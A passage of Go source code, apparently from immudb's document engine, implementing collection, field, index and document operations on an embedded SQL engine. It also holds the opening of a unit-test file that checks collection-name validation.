sql.DefaultTxOptions(). WithReadOnly(true). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return nil, mayTranslateError(err) } defer sqlTx.Cancel() tables := sqlTx.Catalog().GetTables() collections := make([]*protomodel.Collection, len(tables)) for i, table := range tables { collections[i] = collectionFromTable(table) } return collections, nil } func docIDFieldName(table *sql.Table) string { return table.PrimaryIndex().Cols()[0].Name() } func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, error) { err := validateCollectionName(collectionName) if err != nil { return nil, err } table, err := sqlTx.Catalog().GetTableByName(collectionName) if errors.Is(err, sql.ErrTableDoesNotExist) { return nil, fmt.Errorf("%w (%s)", mayTranslateError(err), collectionName) } return table, mayTranslateError(err) } func getColumnForField(table *sql.Table, field string) (*sql.Column, error) { err := validateFieldName(field) if err != nil { return nil, err } column, err := table.GetColumnByName(field) if errors.Is(err, sql.ErrColumnDoesNotExist) { return nil, fmt.Errorf("%w (%s)", mayTranslateError(err), field) } return column, mayTranslateError(err) } func collectionFromTable(table *sql.Table) *protomodel.Collection { documentIdFieldName := docIDFieldName(table) indexes := table.GetIndexes() collection := &protomodel.Collection{ Name: table.Name(), DocumentIdFieldName: documentIdFieldName, Indexes: make([]*protomodel.Index, len(indexes)), } for _, col := range table.Cols() { if col.Name() == DocumentBLOBField { continue } var colType protomodel.FieldType if col.Name() == documentIdFieldName { colType = protomodel.FieldType_STRING } else { switch col.Type() { case sql.BooleanType: colType = protomodel.FieldType_BOOLEAN case sql.VarcharType: colType = protomodel.FieldType_STRING case sql.UUIDType: colType = protomodel.FieldType_UUID case sql.IntegerType: colType = protomodel.FieldType_INTEGER case sql.Float64Type: colType = protomodel.FieldType_DOUBLE } } collection.Fields = append(collection.Fields, &protomodel.Field{ Name: col.Name(), Type: colType, }) } for i, index := range indexes { fields := make([]string, len(index.Cols())) for i, c := range index.Cols() { fields[i] = c.Name() } collection.Indexes[i] = &protomodel.Index{ Fields: fields, IsUnique: index.IsUnique(), } } return collection } func (e *Engine) UpdateCollection(ctx context.Context, username, collectionName string, documentIdFieldName string) error { err := validateCollectionName(collectionName) if err != nil { return err } if documentIdFieldName != "" { err := validateDocumentIdFieldName(documentIdFieldName) if err != nil { return err } } opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return err } currIDFieldName := docIDFieldName(table) if documentIdFieldName != "" && documentIdFieldName != currIDFieldName { _, _, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{ sql.NewRenameColumnStmt( collectionName, currIDFieldName, documentIdFieldName, ), }, nil, ) if err != nil { return mayTranslateError(err) } } err = sqlTx.Commit(ctx) return mayTranslateError(err) } // DeleteCollection deletes a collection. func (e *Engine) DeleteCollection(ctx context.Context, username, collectionName string) error { err := validateCollectionName(collectionName) if err != nil { return err } opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{ sql.NewDropTableStmt(collectionName), // delete collection from catalog }, nil, ) if err != nil { return mayTranslateError(err) } err = sqlTx.Commit(ctx) return mayTranslateError(err) } func (e *Engine) AddField(ctx context.Context, username, collectionName string, field *protomodel.Field) error { err := validateCollectionName(collectionName) if err != nil { return err } if field == nil { return fmt.Errorf("%w: no field specified", ErrIllegalArguments) } err = validateFieldName(field.Name) if err != nil { return err } sqlType, err := protomodelValueTypeToSQLValueType(field.Type) if err != nil { return err } colLen, err := sqlValueTypeDefaultLength(sqlType) if err != nil { return err } opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() colSpec := sql.NewColSpec(field.Name, sqlType, colLen, false, false) addColumnStmt := sql.NewAddColumnStmt(collectionName, colSpec) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{addColumnStmt}, nil, ) if err != nil { return mayTranslateError(err) } err = sqlTx.Commit(ctx) return mayTranslateError(err) } func (e *Engine) RemoveField(ctx context.Context, username, collectionName string, fieldName string) error { err := validateCollectionName(collectionName) if err != nil { return err } err = validateFieldName(fieldName) if err != nil { return err } opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() dropColumnStmt := sql.NewDropColumnStmt(collectionName, fieldName) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{dropColumnStmt}, nil, ) if err != nil { return mayTranslateError(err) } err = sqlTx.Commit(ctx) return mayTranslateError(err) } func (e *Engine) CreateIndex(ctx context.Context, username, collectionName string, fields []string, isUnique bool) error { err := validateCollectionName(collectionName) if err != nil { return err } if len(fields) == 0 { return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() for _, field := range fields { err := validateFieldName(field) if err != nil { return err } } createIndexStmt := sql.NewCreateIndexStmt(collectionName, fields, isUnique) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{createIndexStmt}, nil, ) if err != nil { return mayTranslateError(err) } err = sqlTx.Commit(ctx) return mayTranslateError(err) } func (e *Engine) DeleteIndex(ctx context.Context, username, collectionName string, fields []string) error { err := validateCollectionName(collectionName) if err != nil { return err } if len(fields) == 0 { return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() for _, field := range fields { err := validateFieldName(field) if err != nil { return err } } dropIndexStmt := sql.NewDropIndexStmt(collectionName, fields) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{dropIndexStmt}, nil, ) if err != nil { return mayTranslateError(err) } err = sqlTx.Commit(ctx) return mayTranslateError(err) } func (e *Engine) InsertDocument(ctx context.Context, username, collectionName string, doc *structpb.Struct) (txID uint64, docID DocumentID, err error) { txID, docIDs, err := e.InsertDocuments(ctx, username, collectionName, []*structpb.Struct{doc}) if err != nil { return 0, nil, err } return txID, docIDs[0], nil } func (e *Engine) InsertDocuments(ctx context.Context, username, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return 0, nil, mayTranslateError(err) } defer sqlTx.Cancel() return e.upsertDocuments(ctx, sqlTx, collectionName, docs, true) } func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, docs []*structpb.Struct, isInsert bool) (txID uint64, docIDs []DocumentID, err error) { if len(docs) == 0 { return 0, nil, fmt.Errorf("%w: no document specified", ErrIllegalArguments) } table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return 0, nil, err } docIDFieldName := docIDFieldName(table) colNames := make([]string, len(table.Cols())) for i, col := range table.Cols() { colNames[i] = col.Name() } docIDs = make([]DocumentID, len(docs)) rows := make([]*sql.RowSpec, len(docs)) for i, doc := range docs { if doc == nil || len(doc.Fields) == 0 { doc = &structpb.Struct{Fields: make(map[string]*structpb.Value)} } _, blobFieldProvisioned := doc.Fields[DocumentBLOBField] if blobFieldProvisioned { return 0, nil, fmt.Errorf("%w(%s)", ErrReservedName, DocumentBLOBField) } var docID DocumentID provisionedDocID, docIDProvisioned := doc.Fields[docIDFieldName] if docIDProvisioned { if isInsert { return 0, nil, fmt.Errorf("%w: field (%s) should NOT be specified when inserting a document", ErrIllegalArguments, docIDFieldName) } docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) if err != nil { return 0, nil, err } } else { if !isInsert { return 0, nil, fmt.Errorf("%w: field (%s) should be specified when updating a document", ErrIllegalArguments, docIDFieldName) } // generate document id docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) doc.Fields[docIDFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) } rowSpec, err := e.generateRowSpecForDocument(table, doc) if err != nil { return 0, nil, err } docIDs[i] = docID rows[i] = rowSpec } // add documents to collection _, ctxs, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{ sql.NewUpsertIntoStmt( collectionName, colNames, sql.NewValuesDataSource(rows), isInsert, nil, ), }, nil, ) if err != nil { return 0, nil, mayTranslateError(err) } txID = ctxs[0].TxHeader().ID return txID, docIDs, nil } func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Struct) (*sql.RowSpec, error) { values := make([]sql.ValueExp, len(table.Cols())) for i, col := range table.Cols() { if col.Name() == DocumentBLOBField { bs, err := proto.Marshal(doc) if err != nil { return nil, err } values[i] = sql.NewBlob(bs) continue } rval, err := e.structValueFromFieldPath(doc, col.Name()) if err != nil && !errors.Is(err, ErrFieldDoesNotExist) { return nil, fmt.Errorf("%w: field: %s", err, col.Name()) } if rval == nil { values[i] = &sql.NullValue{} } else { val, err := structValueToSqlValue(rval, col.Type()) if err != nil { return nil, fmt.Errorf("%w: field: %s", err, col.Name()) } values[i] = val } } return sql.NewRowSpec(values), nil } func (e *Engine) structValueFromFieldPath(doc *structpb.Struct, fieldPath string) (*structpb.Value, error) { nestedStruct := doc nestedFields := strings.SplitN(fieldPath, documentFieldPathSeparator, e.maxNestedFields) for i, field := range nestedFields { rval, ok := nestedStruct.Fields[field] if !ok { return nil, fmt.Errorf("%w('%s'): while reading nested field '%s'", ErrFieldDoesNotExist, fieldPath, field) } if i == len(nestedFields)-1 { return rval, nil } nestedStruct = rval.GetStructValue() if nestedStruct == nil { return nil, fmt.Errorf("%w('%s'): while reading nested field '%s'", ErrFieldDoesNotExist, fieldPath, field) } } return nil, fmt.Errorf("%w('%s')", ErrFieldDoesNotExist, fieldPath) } func (e *Engine) ReplaceDocuments(ctx context.Context, username string, query *protomodel.Query, doc *structpb.Struct) (revisions []*protomodel.DocumentAtRevision, err error) { if query == nil { return nil, ErrIllegalArguments } if doc == nil || len(doc.Fields) == 0 { doc = &structpb.Struct{ Fields: make(map[string]*structpb.Value), } } sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExtra([]byte(username))) if err != nil { return nil, mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { return nil, err } documentIdFieldName := docIDFieldName(table) provisionedDocID, docIDProvisioned := doc.Fields[documentIdFieldName] if docIDProvisioned { // inject id comparisson into query idFieldComparisson := &protomodel.FieldComparison{ Field: documentIdFieldName, Operator: protomodel.ComparisonOperator_EQ, Value: provisionedDocID, } if len(query.Expressions) == 0 { query.Expressions = []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ idFieldComparisson, }, }, } } else { // id comparisson as a first comparisson might result in faster evaluation // note it mas be added into every expression for _, exp := range query.Expressions { exp.FieldComparisons = append([]*protomodel.FieldComparison{idFieldComparisson}, exp.FieldComparisons...) } } } queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { return nil, err } queryStmt := sql.NewSelectStmt( []sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, documentIdFieldName)}}, sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), nil, ) r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) if err != nil { return nil, mayTranslateError(err) } var docs []*structpb.Struct for { row, err := r.Read(ctx) if err != nil { r.Close() if errors.Is(err, sql.ErrNoMoreRows) { break } return nil, mayTranslateError(err) } val := row.ValuesByPosition[0].RawValue().([]byte) docID, err := NewDocumentIDFromRawBytes(val) if err != nil { return nil, err } newDoc, err := structpb.NewStruct(doc.AsMap()) if err != nil { return nil, err } if !docIDProvisioned { // add id field to updated document newDoc.Fields[documentIdFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) } docs = append(docs, newDoc) } r.Close() if len(docs) == 0 { return nil, nil } txID, docIDs, err := e.upsertDocuments(ctx, sqlTx, query.CollectionName, docs, false) if err != nil { return nil, err } for _, docID := range docIDs { // fetch revision searchKey, err := e.getKeyForDocument(ctx, sqlTx, query.CollectionName, docID) if err != nil { return nil, err } encDoc, err := e.getEncodedDocument(ctx, searchKey, txID) if err != nil { return nil, err } revisions = append(revisions, &protomodel.DocumentAtRevision{ TransactionId: txID, DocumentId: docID.EncodeToHexString(), Revision: encDoc.Revision, Metadata: kvMetadataToProto(encDoc.KVMetadata), }) } return revisions, nil } func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offset int64) (DocumentReader, error) { if query == nil { return nil, ErrIllegalArguments } sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) } table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { defer sqlTx.Cancel() return nil, err } queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { defer sqlTx.Cancel() return nil, err } op := sql.NewSelectStmt( []sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, DocumentBLOBField)}}, sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), sql.NewInteger(offset), ) // returning an open reader here, so the caller HAS to close it r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil) if err != nil { defer sqlTx.Cancel() return nil, err } return newDocumentReader(r, func(_ DocumentReader) { sqlTx.Cancel() }), nil } func (e *Engine) CountDocuments(ctx context.Context, query *protomodel.Query, offset int64) (int64, error) { if query == nil { return 0, ErrIllegalArguments } sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return 0, mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { return 0, err } queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { return 0, err } ds := sql.NewSelectStmt( []sql.TargetEntry{{Exp: sql.NewColSelector(query.CollectionName, table.Cols()[0].Name())}}, sql.NewTableRef(query.CollectionName, ""), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), sql.NewInteger(offset), ) op := sql.NewSelectStmt( []sql.TargetEntry{{Exp: sql.NewAggColSelector(sql.COUNT, query.CollectionName, "*")}}, ds, nil, nil, nil, nil, ) r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil) if err != nil { return 0, err } defer r.Close() row, err := r.Read(ctx) if err != nil { return 0, err } return row.ValuesByPosition[0].RawValue().(int64), nil } func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, documentIdFieldName string, encodedDoc *EncodedDocument, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return 0, "", nil, mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return 0, "", nil, err } searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) if err != nil { return 0, "", nil, err } encodedDoc, err = e.getEncodedDocument(ctx, searchKey, txID) if err != nil { return 0, "", nil, err } return table.ID(), docIDFieldName(table), encodedDoc, nil } // AuditDocument returns the audit history of a document. func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int, includePayload bool) ([]*protomodel.DocumentAtRevision, error) { err := validateCollectionName(collectionName) if err != nil { return nil, err } sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) } defer sqlTx.Cancel() searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) if err != nil { return nil, err } valRefs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit) if err != nil { return nil, err } results := make([]*protomodel.DocumentAtRevision, 0) for _, valRef := range valRefs { docAtRevision, err := e.getDocument(searchKey, valRef, includePayload) if err != nil { return nil, err } hdr, err := e.sqlEngine.GetStore().ReadTxHeader(valRef.Tx(), false, false) if err != nil { return nil, err } docAtRevision.DocumentId = docID.EncodeToHexString() docAtRevision.Ts = hdr.Ts docAtRevision.Revision = valRef.HC() results = append(results, docAtRevision) } return results, nil } // generateSQLFilteringExpression generates a boolean expression in Disjunctive Normal Form from a list of expressions func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, table *sql.Table) (sql.ValueExp, error) { var outerExp sql.ValueExp for i, exp := range expressions { if len(exp.FieldComparisons) == 0 { return nil, fmt.Errorf("%w: query expression without any field comparisson", ErrIllegalArguments) } var innerExp sql.ValueExp for i, exp := range exp.FieldComparisons { column, err := getColumnForField(table, exp.Field) if err != nil { return nil, err } value, err := structValueToSqlValue(exp.Value, column.Type()) if err != nil { return nil, err } colSelector := sql.NewColSelector(table.Name(), exp.Field) var fieldExp sql.ValueExp switch exp.Operator { case protomodel.ComparisonOperator_LIKE: { fieldExp = sql.NewLikeBoolExp(colSelector, false, value) } case protomodel.ComparisonOperator_NOT_LIKE: { fieldExp = sql.NewLikeBoolExp(colSelector, true, value) } default: { sqlCmpOp, err := sqlCmpOperatorFor(exp.Operator) if err != nil { return nil, err } fieldExp = sql.NewCmpBoolExp(sqlCmpOp, colSelector, value) } } if i == 0 { innerExp = fieldExp } else { innerExp = sql.NewBinBoolExp(sql.And, innerExp, fieldExp) } } if i == 0 { outerExp = innerExp } else { outerExp = sql.NewBinBoolExp(sql.Or, outerExp, innerExp) } } return outerExp, nil } func sqlCmpOperatorFor(op protomodel.ComparisonOperator) (sql.CmpOperator, error) { switch op { case protomodel.ComparisonOperator_EQ: { return sql.EQ, nil } case protomodel.ComparisonOperator_NE: { return sql.NE, nil } case protomodel.ComparisonOperator_LT: { return sql.LT, nil } case protomodel.ComparisonOperator_LE: { return sql.LE, nil } case protomodel.ComparisonOperator_GT: { return sql.GT, nil } case protomodel.ComparisonOperator_GE: { return sql.GE, nil } default: { return 0, fmt.Errorf("%w: unsupported operator ('%s')", ErrIllegalArguments, op) } } } func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return nil, err } var searchKey []byte valbuf := bytes.Buffer{} rval := sql.NewBlob(documentID[:]) encVal, _, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, MaxDocumentIDLength) if err != nil { return nil, err } _, err = valbuf.Write(encVal) if err != nil { return nil, err } pkEncVals := valbuf.Bytes() searchKey = sql.MapKey( e.sqlEngine.GetPrefix(), sql.MappedPrefix, sql.EncodeID(table.ID()), sql.EncodeID(table.PrimaryIndex().ID()), pkEncVals, pkEncVals, ) return searchKey, nil } func (e *Engine) getDocument(key []byte, valRef store.ValueRef, includePayload bool) (docAtRevision *protomodel.DocumentAtRevision, err error) { var encodedDocVal []byte if includePayload { encodedDocVal, err = valRef.Resolve() if err != nil { return nil, mayTranslateError(err) } } encDoc := &EncodedDocument{ TxID: valRef.Tx(), Revision: valRef.HC(), KVMetadata: valRef.KVMetadata(), EncodedDocument: encodedDocVal, } var username string if valRef.TxMetadata() != nil { username = string(valRef.TxMetadata().Extra()) } if encDoc.KVMetadata != nil && encDoc.KVMetadata.Deleted() { return &protomodel.DocumentAtRevision{ TransactionId: encDoc.TxID, Username: username, Metadata: kvMetadataToProto(encDoc.KVMetadata), }, nil } var doc *structpb.Struct if includePayload { voff := sql.EncLenLen + sql.EncIDLen // DocumentIDField _, n, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, mayTranslateError(err) } voff += n + sql.EncIDLen // DocumentBLOBField encodedDoc, _, err := sql.DecodeValue(encDoc.EncodedDocument[voff:], sql.BLOBType) if err != nil { return nil, mayTranslateError(err) } docBytes := encodedDoc.RawValue().([]byte) doc = &structpb.Struct{} err = proto.Unmarshal(docBytes, doc) if err != nil { return nil, err } } return &protomodel.DocumentAtRevision{ TransactionId: encDoc.TxID, Username: username, Metadata: kvMetadataToProto(encDoc.KVMetadata), Document: doc, }, err } func (e *Engine) getEncodedDocument(ctx context.Context, key []byte, atTx uint64) (encDoc *EncodedDocument, err error) { if atTx > e.sqlEngine.GetStore().LastPrecommittedTxID() { return nil, store.ErrTxNotFound } err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, atTx) if err != nil { return nil, err } var valRef store.ValueRef if atTx == 0 { valRef, err = e.sqlEngine.GetStore().Get(ctx, key) } else { valRef, err = e.sqlEngine.GetStore().GetBetween(ctx, key, atTx, atTx) } if errors.Is(err, store.ErrKeyNotFound) { return nil, ErrDocumentNotFound } if err != nil { return nil, mayTranslateError(err) } encodedDoc, err := valRef.Resolve() if err != nil { return nil, mayTranslateError(err) } return &EncodedDocument{ TxID: valRef.Tx(), Revision: valRef.HC(), KVMetadata: valRef.KVMetadata(), EncodedDocument: encodedDoc, }, err } // DeleteDocuments deletes documents matching the query func (e *Engine) DeleteDocuments(ctx context.Context, username string, query *protomodel.Query) error { if query == nil { return ErrIllegalArguments } sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExtra([]byte(username))) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { return err } queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { return err } // Delete a single document matching the query deleteStmt := sql.NewDeleteFromStmt( table.Name(), queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), ) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{deleteStmt}, nil, ) if err != nil { return mayTranslateError(err) } return nil } // CopyCatalogToTx copies the current sql catalog to the ongoing transaction. func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { return e.sqlEngine.CopyCatalogToTx(ctx, tx) } func generateSQLOrderByClauses(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordExps []*sql.OrdExp) { for _, col := range orderBy { ordExps = append(ordExps, sql.NewOrdCol(table.Name(), col.Field, col.Desc)) } return ordExps } ================================================ FILE: embedded/document/engine_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "context" "fmt" "math" "sync" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) var docPrefix = []byte{3} func makeEngine(t *testing.T) *Engine { st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { err := st.Close() if !t.Failed() { // Do not pollute error output if test has already failed require.NoError(t, err) } }) engine, err := NewEngine(st, DefaultOptions().WithPrefix(docPrefix)) require.NoError(t, err) err = engine.CopyCatalogToTx(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) return engine } func TestEngineWithInvalidOptions(t *testing.T) { _, err := NewEngine(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = NewEngine(nil, DefaultOptions()) require.ErrorIs(t, err, ErrIllegalArguments) } func TestCreateCollection(t *testing.T) { engine := makeEngine(t) t.Run("collection creation should fail with invalid collection name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", "1invalidCollectionName", "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, {Fields: []string{"active"}}, }, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("collection creation should fail with invalid collection name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", "collection", "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, }, ) require.ErrorIs(t, err, ErrReservedName) }) collectionName := "my-collection" t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: DocumentBLOBField, Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{DocumentBLOBField}}, }, ) require.ErrorIs(t, err, ErrReservedName) }) t.Run("collection creation should fail with reserved field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "document", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{"document"}}, }, ) require.ErrorIs(t, err, ErrReservedName) }) t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_DOUBLE}, }, nil, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "invalid.docid", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, }, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, DocumentBLOBField, []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, }, ) require.ErrorIs(t, err, ErrReservedName) }) t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "1number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"1number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, }, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("collection creation should fail with unexistent field", func(t *testing.T) { err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: 